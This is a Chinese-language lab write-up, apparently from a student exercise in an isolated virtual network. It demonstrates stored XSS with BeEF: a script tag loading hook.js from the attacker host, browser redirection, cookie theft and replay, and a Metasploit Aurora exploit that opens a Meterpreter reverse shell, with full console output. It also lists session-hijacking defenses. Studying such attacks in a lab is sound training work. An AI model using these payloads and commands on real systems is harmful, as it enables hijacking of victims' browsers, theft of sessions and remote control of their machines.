目录
1 实验简介
1.1 实验目的
- 加深对XSS漏洞的理解;
- 了解beEF的使用。
1.2 实验环境
- 服务器:win2008,IP地址为192.168.1.5。部署WAMP环境并之前写过一个的简陋论坛网站,启动phpstudy,确保论坛能被访问。
- 靶机:winxp,IP地址为192.168.1.6。
- 攻击者:kali,IP地址为192.168.1.128。安装有beEF。
2 实验一:浏览器劫持
2.1 概述
- 定义:
- 从软件方面来说,它是一种恶意程序,通过DLL插件、BHO、WinsockLSP等形式对用户的浏览器进行篡改,使用户浏览器出现访问正常网站时被转向到恶意网页、IE浏览器主页/搜索页等被修改为劫持软件指定的网站地址等异常情况。
- 从技术方面来说,它是一种常见的在线攻击类型,黑客可通过这种方式控制的计算机的浏览器,并更改网上冲浪的方式和冲浪时所显示的内容。
- “浏览器劫持”,通俗点说就是故意误导浏览器行进路线的一种现象。
- 常见的浏览器劫持现象有:
- 访问正常网站时被转向到恶意网页;
- 当输入错误的网址时被转到劫持软件指定的网站;
- 输入字符时浏览器速度严重减慢
- IE浏览器主页/搜索页等被修改为劫持软件指定的网站地址
- 自动添加网站到“受信任站点”
- 不经意的插件提示安装
- 收藏夹里自动反复添加恶意网站链接等
- 危害:浏览器一旦被劫持,就意味这用户无法决定自己的电脑里将被存放进什么资料,这无疑存在巨大安全隐患。
2.2 实验步骤
- 首先,kali作为攻击者需要先补下鱼饵。访问win2008上的简陋论坛网站,注册并登录b账户,在上面留言,利用存储型XSS漏洞执行shellcode。留言标题为
姜太公钓鱼
,留言内容如下:<script src="http://192.168.1.128:3000/hook.js"></script>愿者上钩
。
- 然后,受害者xinXP由于受到某种诱惑,用a账号访问了该简陋论坛网站,并点开了该留言内容,出现以下界面。
- 回到Kali系统,可以看到鱼儿上钩。当靶机关闭浏览器时,就会显示鱼儿下线。
- 在kali虚拟机中,在Web界面管理控制台先选中目标,在选择redirect browser对靶机的浏览器网页进行重定向,输入要控制其重定向的目标网站,比如这里输入www.baidu.com,将控制靶机浏览器跳转到百度首页。
3 实验二:会话劫持
在《Session基础知识、应用案例代码及攻防》一文中,我们介绍过会话劫持与会话固定,此处再现一次会话劫持,并补充该攻击的实验过程。
3.1 概述
- 含义
会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。 - 攻击步骤
- 目标用户需要先登录站点;
- 登录成功后,该用户会得到站点提供的一个会话标识SessionID;
- 攻击者通过某种攻击手段捕获Session ID;攻击者获取SessionID的方式有多种:
- 暴力破解:尝试各种Session ID,直到破解为止;
- 预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
- 窃取:使用网络嗅探,XSS攻击等方法获得。
- 攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话。
- 防御方法
- 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
- 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
- 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
- 关闭所有phpinfo类dump request信息的页面。
- 验证HTTP头部信息。
- 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。
3.2 实验步骤
- 先按浏览器劫持的方法,让鱼儿上钩。
- 窃取Cookie。选中鱼儿,在command面板找到GetCookie命令并执行,执行后可以看到已经获取到靶机访问论坛是的Cookie:
cookie=name=a;
- Cookie利用。在Kali系统上,打开留言区,在留言论坛首页,退出登录,按下F12进入控制台模块,输入命令如下:
document.cookie="name=a"
刷新,可以看到首页登录了账号a。
4 实验三:GetShell
4.1 概述
利用漏洞获取一定的服务器权限就是getshell,如果是web漏洞就叫webshell,还有别的shell,ftp、sql、3899、4899等等,一般来说这个shell权限很低,需要提权后才能获取服务器的管理员权限。
4.2 实验步骤
- 该部分内容将在学习metasploit技术时完整提高。在本节中仅简单了解GetShell目标的实现。
- 输入命令
msfconsole
启动该功能。启动过程如下,等得有点久。
- 输入以下命令设置参数
use exploit/windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
set SRVHOST 192.168.1.128
set LHOST 192.168.1.128
show options
exploit
- 执行过程中终端命令行如下:
msf6 > use exploit/windows/browser/ms10_002_aurora
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/ms10_002_aurora) > set SRVHOST 192.168.1.128
SRVHOST => 192.168.1.128
msf6 exploit(windows/browser/ms10_002_aurora) > set LHOST 192.168.1.128
LHOST => 192.168.1.128
msf6 exploit(windows/browser/ms10_002_aurora) > show options
Module options (exploit/windows/browser/ms10_002_aurora):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.1.128 yes The local host or network interface to listen on. This must be
an address on the local machine or 0.0.0.0 to listen on all add
resses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated
)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/browser/ms10_002_aurora) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.128:4444
[*] Using URL: http://192.168.1.128:8080/YNEcJavU6o
[*] Server started.
- 复制执行过程中倒数第二行代码的网址
http://192.168.1.128:8080/YNEcJavU6o
,作为目标靶机重定向的网址。选中靶机→选择命令redirect browser→黏贴网址箭头执行。
- 执行后我们可以看到kali终端命令行新建会话如下,用session ID来表示第几个会话。
msf6 exploit(windows/browser/ms10_002_aurora) > [*] 192.168.1.6 ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption
[*] Sending stage (175174 bytes) to 192.168.1.6
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.6:1117 ) at 2022-02-25 13:13:43 -0500
- 使用命令
sessions -i
查询会话列表,使用命令sessions -i -1
切换至ID为1的会话。 - 使用
ps
命令,查看有哪些进程,执行过程如下。
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x86 0
176 664 alg.exe x86 0 C:\WINDOWS\System32\alg.exe
392 620 logon.scr x86 0 WINXP-1\du C:\WINDOWS\System32\logon.scr
532 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
572 664 VGAuthService.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe
596 532 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
620 532 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
664 620 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
676 620 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
832 664 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmacthlp.exe
844 664 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
856 664 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
924 664 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1020 664 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1072 664 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1168 664 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1308 844 wmiprvse.exe x86 0 C:\WINDOWS\system32\wbem\wmiprvse.exe
1464 664 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1540 1600 IEXPLORE.EXE x86 0 WINXP-1\du C:\Program Files\Internet Explorer\iexplore.exe
1568 1020 wscntfy.exe x86 0 WINXP-1\du C:\WINDOWS\system32\wscntfy.exe
1600 1576 explorer.exe x86 0 WINXP-1\du C:\WINDOWS\Explorer.EXE
1680 1664 conime.exe x86 0 WINXP-1\du C:\WINDOWS\system32\conime.exe
1696 1600 vmtoolsd.exe x86 0 WINXP-1\du C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
1704 1600 ctfmon.exe x86 0 WINXP-1\du C:\WINDOWS\system32\ctfmon.exe
- 使用命令
getpid
查看当前是哪个进程。查看结果为1540,也就是浏览器进程。 - 使用命令
getuid
查看当前用户。 - 使用命令
migrate+进程号
切换至目标进程,并执行,如果切换过程中浏览器关闭则会话断开。
5 总结
- 加深理解XSS漏洞的利用和危害;
- 了解beEF工具的使用;
- 掌握浏览器劫持的攻击方法;
- 掌握会话劫持的攻击方法;
- 掌握通过XSS漏洞GetShell的方法。